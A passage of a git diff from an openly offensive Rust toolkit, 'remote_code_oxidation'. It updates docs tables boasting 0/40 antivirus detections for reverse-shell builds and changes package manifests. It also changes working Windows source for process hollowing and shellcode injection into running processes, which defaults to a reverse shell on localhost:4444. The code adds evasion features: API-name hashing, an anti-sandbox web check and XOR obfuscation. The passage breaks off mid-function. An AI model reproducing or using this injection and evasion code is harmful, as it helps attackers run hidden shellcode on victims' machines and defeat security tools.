Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/f343f23b7a8f3704784beb3f0902f994d97d4aae21f60383617a3c778365d9eb) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antisand_xor.png)
|
||||
Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/3291825d7fe6b514dfb40f28d8beae090bbf6d040b5f7206b6eb3c6ad10f43d7) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antisand_antistring_xor.png)
|
||||
|
||||
<div class="datatable-end"></div>
|
||||
|
||||
@@ -5,14 +5,14 @@ datatable: true
|
||||
|
||||
# RCO: TCP Reverse Shell
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
|
||||
|
||||
<div class="datatable-begin"></div>
|
||||
|
||||
Target OS | Demo
|
||||
--------- | ----
|
||||
Linux | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/tcp_reverse_shell.gif)
|
||||
Windows | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/tcp_reverse_shell_windows.gif)
|
||||
Linux | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/tcp_reverse_shell.gif)
|
||||
Windows | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/tcp_reverse_shell_windows.gif)
|
||||
|
||||
<div class="datatable-end"></div>
|
||||
|
||||
@@ -48,10 +48,10 @@ nc -nlvp 4444
|
||||
|
||||
Target OS | Features | Detections | Screenshot
|
||||
--------- | ----------------------------- | -------------------------------------- | ----------
|
||||
Linux | None | [0 / 40](https://kleenscan.com/scan_result/c01984f5bc45f0ff82723fe6ceab770fe48e955081f8b02e17a8232e6ba2bbeb) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell.png)
|
||||
Windows | None | [0 / 40](https://kleenscan.com/scan_result/ce74ac206b59e9acc4e7f528bcec06f2a1dcc8ac0a1fb622c0b646cdfd2602d5) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_exe.png)
|
||||
Windows | `antisand` | [0 / 40](https://kleenscan.com/scan_result/28fce6da1a75b3d0073649613d5e69b73019091e1a7c2a2033b1551755c5fad4) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_antisand_exe.png)
|
||||
Windows | `antistring` | [0 / 40](https://kleenscan.com/scan_result/fafcad9c3689cf811184cacc3c1e9f939017b4e5d362712468839a6126f82278) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_antistring_exe.png)
|
||||
Windows | `antisand,antistring` | [0 / 40](https://kleenscan.com/scan_result/ff8c1a3fda94bd5f73314e15c9861284250b88720f045351aedc937435b9d8bd) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_antisand_antistring_exe.png)
|
||||
Linux | None | [0 / 40](https://kleenscan.com/scan_result/a940621ddd4de3ac694ab97584536a1e0a06a222f174d023051c5c7786cb02ce) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/shell.png)
|
||||
Windows | None | [0 / 40](https://kleenscan.com/scan_result/3125f79d0b309eaecab29d4dbd8fb1521a53ca9bbd0f0b08f469a9c21cb0cb7b) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell.png)
|
||||
Windows | `antisand` | [0 / 40](https://kleenscan.com/scan_result/5554067d19d276e3b9c85967d1c0044bdf3d1ab3ca36be816cc4f80d0296df1b) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell_antisand.png)
|
||||
Windows | `antisand,antistring` | [0 / 40](https://kleenscan.com/scan_result/a0dc07b781618acdbc07c32cb12e5a41a860904672c288ba860a830e645eaaf8) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell_antisand_antistring.png)
|
||||
Windows | `antistring` | [0 / 40](https://kleenscan.com/scan_result/2430b38a062a6aa57ac52f508308bcc171b258fc04c06d9d05ae39c0bd1e7417) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell_antistring.png)
|
||||
|
||||
<div class="datatable-end"></div>
|
||||
|
||||
+1
-3
@@ -4,9 +4,7 @@ title: "XOR Params"
|
||||
|
||||
# RCO: XOR Params
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_params)
|
||||
|
||||
[](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/xor_params.gif)
|
||||
[](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/xor_params.gif)
|
||||
|
||||
|
||||
## How it works
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
[package]
|
||||
name = "hash_params"
|
||||
version = "1.0.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
edition = "2021"
|
||||
name = "hash_params"
|
||||
rust-version = "1.59"
|
||||
version = "1.0.1"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
rco_utils = {path = "../rco_utils", features = ["antistring"] }
|
||||
rco_utils = {path = "../rco_utils"}
|
||||
|
||||
+12
-1
@@ -1,9 +1,20 @@
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
use std::env;
|
||||
use std::hash::{Hash, Hasher};
|
||||
|
||||
// Yeah all of this stuff is already in the lib, but it's gated by a feature and I haven't figured out
|
||||
// How best to handle that yet
|
||||
|
||||
fn calculate_hash<T: Hash>(t: &T) -> u64 {
|
||||
let mut s = DefaultHasher::new();
|
||||
t.hash(&mut s);
|
||||
s.finish()
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let args: Vec<String> = env::args().collect();
|
||||
for arg in args[1..].iter() {
|
||||
let hashed = rco_utils::calculate_hash(arg);
|
||||
let hashed = calculate_hash(arg);
|
||||
println!("{arg} --> {hashed:x}");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
[package]
|
||||
name = "process_hollowing"
|
||||
version = "1.7.1"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
description = "Creates a process and overwrites the entry point with shellcode (default to a reverse shell on localhost:4444)"
|
||||
documentation = "https://kmanc.github.io/remote_code_oxidation/process_hollowing.html"
|
||||
edition = "2021"
|
||||
license = "MIT"
|
||||
name = "process_hollowing"
|
||||
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_hollowing"
|
||||
rust-version = "1.59"
|
||||
version = "1.10.0"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -14,14 +18,14 @@ antistring = ["rco_utils/antistring"]
|
||||
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
rco_utils = {path = "../rco_utils"}
|
||||
rco_config = {path = "../rco_config", version = ">=0.2.0"}
|
||||
rco_utils = {path = "../rco_utils", version = ">=1.0.1"}
|
||||
|
||||
[target.'cfg(target_os="linux")'.dependencies]
|
||||
nix = ">=0.16"
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows.version = ">=0.40.0"
|
||||
windows.version = ">=0.41.0"
|
||||
windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use std::ffi::{c_void, CString};
|
||||
use core::ffi::c_void;
|
||||
use std::ptr;
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};
|
||||
@@ -21,7 +21,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// Use CreateProcessA to create a suspended process that will be hollowed out for the shellcode
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
|
||||
let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8);
|
||||
let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr());
|
||||
let creation_result = unsafe {
|
||||
CreateProcessA(
|
||||
PCSTR::null(),
|
||||
@@ -30,7 +30,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
None,
|
||||
false,
|
||||
CREATE_SUSPENDED,
|
||||
ptr::null(),
|
||||
None,
|
||||
PCSTR::null(),
|
||||
&STARTUPINFOA::default(),
|
||||
&mut process_information,
|
||||
@@ -66,7 +66,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
ReadProcessMemory(
|
||||
process_handle,
|
||||
image_base_address as *const c_void,
|
||||
&mut address_buffer,
|
||||
address_buffer.as_mut_ptr() as *mut c_void,
|
||||
POINTER_SIZE as usize,
|
||||
None,
|
||||
)
|
||||
};
|
||||
@@ -82,7 +83,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
ReadProcessMemory(
|
||||
process_handle,
|
||||
pe_base_address as *const c_void,
|
||||
&mut header_buffer,
|
||||
header_buffer.as_mut_ptr() as *mut c_void,
|
||||
0x200,
|
||||
None,
|
||||
)
|
||||
};
|
||||
@@ -103,7 +105,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
WriteProcessMemory(
|
||||
process_handle,
|
||||
entry_point_address as *const c_void,
|
||||
shellcode,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
None,
|
||||
)
|
||||
};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use std::ffi::{c_void, CString};
|
||||
use core::ffi::c_void;
|
||||
use std::ptr;
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
@@ -17,10 +17,13 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// See line 13
|
||||
let mut process_information = PROCESS_INFORMATION::default();
|
||||
|
||||
// Get location of Kernel32.dll
|
||||
let kernel32 = rco_utils::find_library_address("Kernel32").unwrap();
|
||||
|
||||
// See line 18
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x6fe222ff0e96f5c4).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]);
|
||||
let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8);
|
||||
let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr());
|
||||
unsafe {
|
||||
function(
|
||||
PCSTR::null(),
|
||||
@@ -36,8 +39,11 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
)
|
||||
};
|
||||
|
||||
// Get location of Ntdll.dll
|
||||
let ntdll = rco_utils::find_library_address("Ntdll").unwrap();
|
||||
|
||||
// See line 43
|
||||
let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap();
|
||||
let function = rco_utils::find_function_address(ntdll, 0x9b0d5adddbf90f8a).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32]; [()]);
|
||||
let process_handle = process_information.hProcess;
|
||||
let mut basic_information = PROCESS_BASIC_INFORMATION::default();
|
||||
@@ -52,7 +58,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
};
|
||||
|
||||
// See line 60
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x1c1cfbf71004cba8).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *mut c_void, usize, *mut usize]; [()]);
|
||||
let image_base_address = basic_information.PebBaseAddress as u64 + 0x10;
|
||||
let mut address_buffer = [0; POINTER_SIZE as usize];
|
||||
@@ -84,7 +90,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
}
|
||||
|
||||
// See line 97
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x2638fa76194bfe63).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]);
|
||||
let e_lfanew = unsafe { ptr::read((head_pointer_raw + E_LFANEW_OFFSET) as *const u32) };
|
||||
let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET;
|
||||
@@ -101,7 +107,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
};
|
||||
|
||||
// See line 117
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x9f2eb3a0195b21d).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE]; [()]);
|
||||
unsafe { function(process_information.hThread) };
|
||||
}
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
[package]
|
||||
name = "process_migration"
|
||||
version = "1.9.1"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
description = "Overwrites a running process' next instruction(s) with shellcode (default to a reverse shell on localhost:4444)"
|
||||
documentation = "https://kmanc.github.io/remote_code_oxidation/process_migration.html"
|
||||
edition = "2021"
|
||||
license = "MIT"
|
||||
name = "process_migration"
|
||||
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_migration"
|
||||
rust-version = "1.59"
|
||||
version = "1.11.0"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -13,14 +17,14 @@ antisand = ["rco_utils/antisand"]
|
||||
antistring = ["rco_utils/antistring"]
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
rco_utils = {path = "../rco_utils"}
|
||||
rco_config = {path = "../rco_config", version = ">=0.2.0"}
|
||||
rco_utils = {path = "../rco_utils", version = ">=1.0.1"}
|
||||
|
||||
[target.'cfg(target_os="linux")'.dependencies]
|
||||
nix = ">=0.16"
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows.version = ">=0.40.0"
|
||||
windows.version = ">=0.41.0"
|
||||
windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
use std::{mem, ptr};
|
||||
use core::ffi::c_void;
|
||||
use std::mem;
|
||||
use windows::Win32::Foundation::CHAR;
|
||||
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{
|
||||
@@ -62,7 +63,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
let base_address = unsafe {
|
||||
VirtualAllocEx(
|
||||
explorer_handle,
|
||||
ptr::null(),
|
||||
None,
|
||||
shellcode.len(),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
@@ -76,7 +77,8 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
WriteProcessMemory(
|
||||
explorer_handle,
|
||||
base_address,
|
||||
shellcode,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
None,
|
||||
)
|
||||
};
|
||||
@@ -94,7 +96,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
None,
|
||||
0,
|
||||
start_address_option,
|
||||
ptr::null(),
|
||||
None,
|
||||
0,
|
||||
None,
|
||||
)
|
||||
|
||||
@@ -10,13 +10,16 @@ use windows::Win32::System::Memory::{
|
||||
use windows::Win32::System::Threading::{PROCESS_ACCESS_RIGHTS, PROCESS_ALL_ACCESS};
|
||||
|
||||
pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// Get location of Kernel32.dll
|
||||
let kernel32 = rco_utils::find_library_address("Kernel32").unwrap();
|
||||
|
||||
// See line 11
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x139872fd098af4a7).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32]; [HANDLE]);
|
||||
let snapshot = unsafe { function(TH32CS_SNAPPROCESS, 0_u32) };
|
||||
|
||||
// See line 20
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x4cf400a249844bee).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, &mut PROCESSENTRY32]; [BOOL]);
|
||||
let mut pid = 0_u32;
|
||||
let mut process_entry = PROCESSENTRY32 {
|
||||
@@ -39,12 +42,12 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
}
|
||||
|
||||
// See line 46
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x2c116091e452cf52).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [PROCESS_ACCESS_RIGHTS, bool, u32]; [HANDLE]);
|
||||
let explorer_handle = unsafe { function(PROCESS_ALL_ACCESS, false, pid) };
|
||||
|
||||
// See line 55
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x5cfd66a14ed9a43).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS]; [*const c_void]);
|
||||
let base_address = unsafe {
|
||||
function(
|
||||
@@ -57,7 +60,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
};
|
||||
|
||||
// See line 68
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x2638fa76194bfe63).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]);
|
||||
unsafe {
|
||||
function(
|
||||
@@ -70,7 +73,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
};
|
||||
|
||||
// See line 84
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x2a0b247f3bdeef70).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32]; [()]);
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
unsafe {
|
||||
|
||||
@@ -1,10 +1,9 @@
|
||||
[package]
|
||||
name = "rco_config"
|
||||
version = "0.2.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
description = "Configuration for \"Remote Code Execution\"'s (RCO's) binaries"
|
||||
edition = "2021"
|
||||
license = "MIT"
|
||||
name = "rco_config"
|
||||
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/rco_config"
|
||||
rust-version = "1.59"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
version = "0.2.0"
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
[package]
|
||||
name = "rco_utils"
|
||||
version = "1.0.1"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
description = "Shared functions for \"Remote Code Execution\"'s (RCO's) binaries"
|
||||
edition = "2021"
|
||||
license = "MIT"
|
||||
name = "rco_utils"
|
||||
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/rco_utils"
|
||||
rust-version = "1.59"
|
||||
version = "1.2.0"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -16,7 +19,7 @@ antistring = ["windows"]
|
||||
rand.optional = true
|
||||
rand.version = ">=0.8.5"
|
||||
windows.optional = true
|
||||
windows.version = ">=0.40.0"
|
||||
windows.version = ">=0.41.0"
|
||||
windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Networking",
|
||||
@@ -24,4 +27,4 @@ windows.features = [
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_System_LibraryLoader",
|
||||
"Win32_System_SystemInformation",
|
||||
"Win32_System_SystemServices" ]
|
||||
"Win32_System_SystemServices" ]
|
||||
|
||||
+208
-197
@@ -1,28 +1,22 @@
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
use std::error::Error;
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::hash::{Hash, Hasher};
|
||||
|
||||
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
|
||||
use core::ffi::c_void;
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
use std::ffi::CString;
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
use windows::core::PCSTR;
|
||||
|
||||
// Things Antisand needs
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use rand::distributions::Alphanumeric;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use rand::Rng;
|
||||
|
||||
// Things Antistring needs
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use std::ffi::CStr;
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::hash::{Hash, Hasher};
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use std::mem;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use std::ptr;
|
||||
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
|
||||
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::Debug::{
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64,
|
||||
@@ -32,6 +26,53 @@ use windows::Win32::System::LibraryLoader::LoadLibraryA;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};
|
||||
|
||||
// Things Antisand and Antistring need
|
||||
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
|
||||
use core::ffi::c_void;
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
use windows::core::PCSTR;
|
||||
|
||||
// Things Antisand needs only when Antistring is not set
|
||||
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
|
||||
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
|
||||
|
||||
/*
|
||||
Macros before functions
|
||||
*/
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! construct_win32_function {
|
||||
// Take in:
|
||||
// one x - the function pointer
|
||||
// zero or more y - the function argument data types
|
||||
// zero or more z - the function return data types
|
||||
(
|
||||
$(
|
||||
$x:expr; [ $( $y:ty ),* ]; [ $( $z:ty ),* ]
|
||||
);*
|
||||
) => {
|
||||
// Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z"
|
||||
// Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html
|
||||
// this is a safe transmute because it will be guaranteed on Windows
|
||||
// So the macro is safe despite the unsafe code
|
||||
unsafe {
|
||||
std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Calculate the hash of a hashable value
|
||||
*/
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn calculate_hash<T: Hash>(t: &T) -> u64 {
|
||||
let mut s = DefaultHasher::new();
|
||||
t.hash(&mut s);
|
||||
s.finish()
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer
|
||||
*/
|
||||
@@ -48,176 +89,14 @@ fn equalize_slice_len<T: std::clone::Clone>(slice_one: &[T], slice_two: &[T]) ->
|
||||
)
|
||||
}
|
||||
|
||||
/*
|
||||
Helper function for XOR - XORs two slices of equal length
|
||||
*/
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
|
||||
if slice_one.len() != slice_two.len() {
|
||||
return Err("The given slices are not the same length".into());
|
||||
}
|
||||
Ok(slice_one
|
||||
.iter()
|
||||
.zip(slice_two.iter())
|
||||
.map(|(&x1, &x2)| x1 ^ x2)
|
||||
.collect())
|
||||
}
|
||||
|
||||
/*
|
||||
XOR implementation - takes in a key and a value and outputs the key ^ value byte-bye-byte
|
||||
*/
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
pub fn xor_encrypt_decrypt(key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
|
||||
let equalilzed = equalize_slice_len(key, text);
|
||||
let key: &[u8] = &equalilzed.0[..];
|
||||
let text: &[u8] = &equalilzed.1[..];
|
||||
xor_u8_slices(key, text)
|
||||
}
|
||||
|
||||
/*
|
||||
XOR not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
|
||||
*/
|
||||
|
||||
#[cfg(not(feature = "xor"))]
|
||||
pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
|
||||
Ok(text.to_vec())
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Windows implementation - basically looks to see if something fakes a response to a website
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
|
||||
pub fn pound_sand() -> bool {
|
||||
// Call InternetOpenA to get a handle that can be used in an actual internet request
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html
|
||||
let mut lpsz_agent = PCSTR::null();
|
||||
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
|
||||
let lpsz_proxy = PCSTR::null();
|
||||
let lpsz_proxy_bypass = PCSTR::null();
|
||||
let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) };
|
||||
|
||||
// Generate a "website" to search for
|
||||
let length = rand::thread_rng().gen_range(20..40);
|
||||
let alphanum: String = rand::thread_rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(length)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
let mut full_link: String = "https://www.".to_owned();
|
||||
let link_end: String = ".com".to_owned();
|
||||
full_link.push_str(&alphanum);
|
||||
full_link.push_str(&link_end);
|
||||
|
||||
// Call InternetOpenUrlA on the fake website; if there is a response, it's a sandbox trying to get you to take further action
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html
|
||||
let mut lpsz_url = PCSTR::null();
|
||||
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
|
||||
let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, None, 0, 0) };
|
||||
if website != 0 as _ {
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
|
||||
pub fn pound_sand() -> bool {
|
||||
// See line 90
|
||||
let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap();
|
||||
let mut lpsz_agent = PCSTR::null();
|
||||
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
|
||||
let lpsz_proxy = PCSTR::null();
|
||||
let lpsz_proxy_bypass = PCSTR::null();
|
||||
let internet_handle = unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)(
|
||||
lpsz_agent,
|
||||
0,
|
||||
lpsz_proxy,
|
||||
